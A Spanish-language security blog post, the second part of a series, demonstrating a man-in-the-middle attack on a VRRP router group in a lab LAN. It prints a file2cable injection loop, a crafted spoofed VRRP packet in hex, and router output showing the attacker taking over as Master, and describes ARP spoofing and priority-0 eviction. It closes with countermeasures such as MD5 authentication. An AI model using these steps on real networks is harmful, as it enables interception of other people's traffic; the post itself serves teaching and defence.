Man in the Middle en entornos VRRP (II)

Continuamos con la segunda parte del post que publicamos ayer a cargo de Borja Merino, ingeniero informático y especialista de seguridad al que pueden seguir en su Twitter http://twitter.com/borjamerino, y en cuya elaboración ha participado activamente nuestro compañero José Luis Villalón, en la parte más práctica.

Después de darle un pequeño repaso a VRRP, partimos del siguiente escenario. Nos encontramos en una LAN con un grupo VRRP formado por dos routers (A y B) con IP virtual 192.168.1.100. Como vemos en la salida el router A (configurado como Master) tiene una prioridad de 150 y una IP local de 192.168.1.5. En caso de caída, el router B tras un tiempo Master_Down_Timer, asumirá el rol de Maestro (Preemption enabled).

RouterA#show  vrrp                                                           
FastEthernet0 - Group 1                                                         
  State is Master                                                               
  Virtual IP address is 192.168.1.100                                           
  Virtual MAC address is 0000.5e00.0101                                         
  Advertisement interval is 1.000 sec                                           
  Preemption enabled                                                            
  Priority is 150                                                               
  Master Router is 192.168.1.5 (local), priority is 150                        
  Master Advertisement interval is 1.000 sec                                    
  Master Down interval is 3.414 sec      

RouterB#show  vrrp         
FastEthernet0 - Group 1                                                         
  State is Backup                                                               
  Virtual IP address is 192.168.1.100                                          
  Virtual MAC address is 0000.5e00.0101                                         
  Advertisement interval is 1.000 sec                                           
  Preemption enabled                                                            
  Priority is 100                                                               
  Master Router is 192.168.1.5, priority is 150                                 
  Master Advertisement interval is 1.000 sec                                    
  Master Down interval is 3.609 sec (expires in 3.533 sec)

Lo primero que haremos será poner Wireshark a la escucha para ver si VRRP está utilizando algún tipo de autenticación.

Teniendo en cuenta que el Router Maestro no está configurado como IP Address Owner, que la prioridad es inferior a 255 y que carece de autenticación, lo que haremos será exportar una de las tramas capturadas desde el Menú “Export Selected Packets Bytes” y modificar la IP origen, prioridad y el checksum a nivel de paquete. Posteriormente inyectaremos el paquete con file2cable:

root@bt:~# while true; do /pentest/enumeration/irpas/file2cable -i eth0 -f vrrp_spoof -v; sleep 1; done

Tras revisar la configuración del router observamos los siguientes mensajes de error:

*Oct 11 10:01:25.311: VRRP: Advertisement from 192.168.1.122 has incorrect CRC   
*Oct 11 10:01:25.311: VRRP: Checksum Received 86EF Calculated 1DEF                  
*Oct 11 10:01:26.335: VRRP: Advertisement from 192.168.1.122 has incorrect CRC   
*Oct 11 10:01:26.335: VRRP: Checksum Received 86EF Calculated 1DEF

Lo cual parece obvio al no haber modificado el checksum VRRP. Tras modificar de nuevo el paquete nos quedaríamos con:

Ejecutamos de nuevo:

root@bt:~# while true; do /pentest/enumeration/irpas/file2cable -i eth0 -f vrrp_spoof -v; sleep 1; done

file2cable - by FX 
    Thanx got to Lamont Granquist & fyodor for their hexdump()
vrrp_spoof - 60 bytes raw data
	 0100 5e00 0012 0000 5e00 0101 0800 45c0  ..^.....^.....E. 
	 0028 0000 0000 ff70 1871 c0a8 017a e000  .(.....p.q...z.. 
	 0012 2101 ff01 0001 1def c0a8 0164 0000  ..!..........d.. 
	 0000 0000 0000 0000 0000 0000            ............ 
Packet length: 60

El nuevo advertisement se enviará cada segundo y tras la negociación oportuna ya podemos ver en la configuración de los routers que la máquina atacante (192.168.1.122) aparece como Master:

RouterA#show  vrrp  
FastEthernet0 - Group 1  
  State is Backup  
  Virtual IP address is 192.168.1.100
  Virtual MAC address is 0000.5e00.0101
  Advertisement interval is 1.000 sec
  Preemption enabled
  Priority is 150 
  Master Router is 192.168.1.122, priority is 255 
  Master Advertisement interval is 1.000 sec
  Master Down interval is 3.414 sec (expires in 2.570 sec)

Hasta este punto es importante considerar lo siguiente: de cara a los clientes nada ha cambiado, ellos siguen teniendo como GW la IP 192.168.1.100 y como MAC asociada, la MAC virtual 00-00-5E-00-01-01. El switch por otro lado tendrá asociada la MAC virtual al puerto del atacante (cada segundo se están enviado paquetes de forma que el switch está constantemente asociando dicho puerto con la MAC en su tabla CAM), por lo que no necesitará hacer un flooding constante cada vez que reciba paquetes de alguno de los clientes.

El último paso es hacer forwarding hacia alguno de los routers que conforman el router virtual (y cuyas IPs así como prioridades podemos capturar durante la negociación) teniendo en cuenta las siguientes consideraciones:

  • Los nuevos equipos que se inicien en la LAN o bien aquellos en los que expire su caché ARP harán un un ARP Request para conocer la MAC asociada a su GW. En este caso nuestra máquina tiene que ser capaz de contestar a dichas peticiones con ARP Reply falsos devolviendo como respuesta la MAC Virtual (los routers que componen el Router Virtual estarán como Backup y descartarán paquetes que tengan como destino la Mac Virtual).

    Otra posible solución es enviar “ARP Gratuitous” periódicos avisando de dicha asociación (mismamente dentro del while utilizado para enviar los adverstisments).

  • En el caso de hacer forwarding por medio de un ARP proxy debe considerar que el switch estará sufriendo un constante port stealing, asociando las MAC de los clientes (a parte de la MAC virtual) con el puerto del equipo atacante, lo cual puede generar problemas en caso de tener funcionalidades como Port Security.
NOTA: El RFC de VRRP también contempla que el router Master se libere de su responsabilidad enviando un advertisement con prioridad 0, indicando así su salida del grupo VRRP. Si enviamos por tanto el siguiente paquete:

conseguiríamos excluir al Master obteniendo el siguiente mensaje:

Current Master has stopped participating in VRRP

Esto también podría utilizarse como vector de ataque para excluir routers del grupo VRRPs y forzar nuevas negociaciones con nuevas prioridades.

Utilizar este ataque para hacer un MIM puede tener ciertas ventajas frente al clásico ARP Spoof en entornos que cuenten con IDS y que alerten ante un uso anormal del protocolo ARP como tormentas broadcast excesivas, uso indebido de ARP Request/Reply, etc. (aunque obviamente un IDS cantaría al notar el port stealing del equipo atacante para suplantar la MAC-Virtual). La mejor contramedida: utilizar autenticación con MD5 y limitar el tráfico multicast VRRP únicamente a los routers que participan en la negociación del router virtual.

Mediante Loki es posible automatizar todo este proceso. Podéis ver un ejemplo práctico de esta herramienta en el siguiente video:

Trackbacks

  1. […] una red con apenas un par de paquetes y con ayuda de Scapy, hasta hacer MitM usando ARP / DHCP / VRRP / HSRP o hasta cosas mas entretenidas como conseguir un pool de shells sin mucho esfuerzo con el […]